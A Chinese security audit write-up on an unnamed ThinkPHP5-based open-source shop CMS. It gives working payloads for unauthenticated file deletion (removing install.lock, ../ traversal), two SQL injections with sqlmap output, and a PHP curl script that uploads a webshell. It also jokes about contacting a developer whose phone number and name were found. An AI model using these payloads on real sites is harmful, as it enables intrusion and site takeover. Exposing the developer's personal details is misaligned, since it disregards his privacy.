审计某开源商城中的漏洞大礼包

首先这个CMS并不怎么出名,拿来当审计样板却很合适。给我的感觉是适合初级水平升中级之间的过程,也算是对上一篇审计文章的后续文了。

审计的版本为: 20180206 发布的免费版2.0 。另外图很多,建议 PC 端体验更佳!

首发在:信安之路

分析环境及入口

图中的URL会出现两个,这是因为部分在公司审计的,部分是周末再家审计的。

官网首页上有文档,里面著名了这套CMS所使用环境 ThinkPHP5.0 + MySQL

这样看来实际上我们只需要熟悉TP5,就能大体知道该CMS的请求流程,而TP5中有个很有用的东西叫路由,通过相关URL快速定位源码代码位置。

img_1

当然我们在本地部署好站点后,在前台任意点击一个URL:http://demo.com/index.php?s=/helpcenter/index&id=1

其对应的文件路径为 application/shop/controller/Helpcenter.php,方法则是该文件中的 index() ,参数为id

我的习惯是通读代码,所以让我从中找到了很多有意思的地方。

前台两处任意文件删除

  • 一次删除一个

问题代码位于:application/wap/controller/Components.php

方法:

img_2

这段代码非常直白,居然还是 public 方法,未做任何校验直接删除post参数提交过来的文件路径。

我当时看到这里直接是懵逼的,开放新手也不会写这样的代码吧?

删除安装锁文件

Payload:
http://demo.com/index.php?s=/wap/Components/deleteImgUpload

Post Data:
imgsrc=install.lock

权限够的话 imgsrc 参数中如果加 ../ 是可以删根目录上级文件夹中文件。

  • 一次删除多个

问题代码位于:application/wap/controller/Upload.php

方法:

img_3

同样的,依然是 public 方法,未做任何校验直接删除post参数提交过来的文件路径。

删除安装锁文件

Payload: 
http://demo.com/index.php?s=/wap/Upload/removeFile

Post Data:
filename=install.lock,test1.txt,test2.txt

权限够的话 filename 参数中如果加 ../ 是可以删根目录上级文件夹中文件。

前台两处sql注入

  • 第一处在getGoodsListByKeyWord方法

问题出现在 application/shop/controller/Goods.php 文件中,我们直接看到代码。

img_4

img_5

img_6

img_7

直接放到 sqlmap 中跑一遍试试:

GET parameter 'order' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 2066 HTTP(s) requests:
---
Parameter: order (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: s=/shop/Goods/getGoodsListByKeyWord&keyword=1&order=1 AND (SELECT 9110 FROM(SELECT COUNT(*),CONCAT(0x716b786271,(SELECT (ELT(9110=9110,1))),0x717a786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
    Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

可以看到,这是一处报错回显的sql漏洞。

我们来验证一下。

img_8

OK! 我们现在可以直接用 sqlmap 跑库了。

  • 第二处出现在promotionZone方法

img_9

nice! 这里出现了一个无单引号闭合的SQL拼接,我们持续跟进一下。

img_10

img_11

先用 sqlmap 测试一下。

img_12

666666,可以看到攻击是成功的。


其实到这里就应该结束了,我也不知道为什么我要接着写下去。 麻烦的不是如何找漏洞,而是你需要将这些知识通过语言整理出来,让阅读的人能理解,能学习。

安装好 xdebug 后,我们来跟踪调试一波,定位下问题是如何出现的,在那出现的。

当然我们输入:hhttp://cms.com/index.php?s=/shop/Goods/promotionZone&page=1&group_id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))uNuh) ,这段 Payload 后,发现已经中断生效。

接着我们开始单步跟踪。

img_13

进入到 thinkphp/library/think/db/Query.php 文件中的 where() 方法。

img_14

img_15

img_16

img_17

img_18

前台上传getshell

问题代码位于:application/wap/controller/Upload.php,中的 uploadFile() 方法。

img_19

然后我们来看看验证函数:

img_20

上传文件的目录在代码中也有给出:

img_21

本地构建 Payload :

<form action="http://demo.com/index.php?s=/wap/Upload/uploadFile" method="post" accept-charset="utf-8" enctype="multipart/form-data">
    <input type="file" name="file_upload"><br/>
    <input type="hidden" name="file_path" value="upload/common/">
    <input type="submit" name="submit" value="submit">
</form>

img_22

Payload脚本

hacker.php

<?php phpinfo(); ?>

Payload.php

<?php

/**
 * xxxx前台文件上传Payload
 *
 * @version 1.0
 * @author 0x584A <xjiek2010[at]icloud.com>
 */

$filename = time();
$ch       = curl_init();

$savePath = 'upload/common/';
$imgfile  = new CurlFile('./hacker.php');
$imgfile->setMimeType('image/jpeg');

$data = array('file_path' => $savePath, 'file_upload' => $imgfile);
curl_setopt($ch, CURLOPT_URL, 'http://[要getshell的域名]/index.php?s=/wap/Upload/uploadFile');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_SAFE_UPLOAD, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

$info   = curl_exec($ch);
$status = curl_getinfo($ch);

if ($status['http_code'] === 200) {
    echo '[+] 执行成功!' . PHP_EOL;
    echo '[+] Payload路径:' . $savePath . $filename . '.php' . PHP_EOL.PHP_EOL;
    echo '[+] 如有网路延迟,文件名称请自行加1'.PHP_EOL;
} else {
    echo '[!] 未知原因失败!' . PHP_EOL;
}

img_23

有意思的地方

最后还知道了一个开发人员手机号,并确认其姓名。要不要给他打个电话拜个年?

img_24

img_25

img_26

img_27


你以为这样就结束了? 错~! 因为这个CMS从 2017-07-14 报漏洞开始,就从来没修过一个。

img_28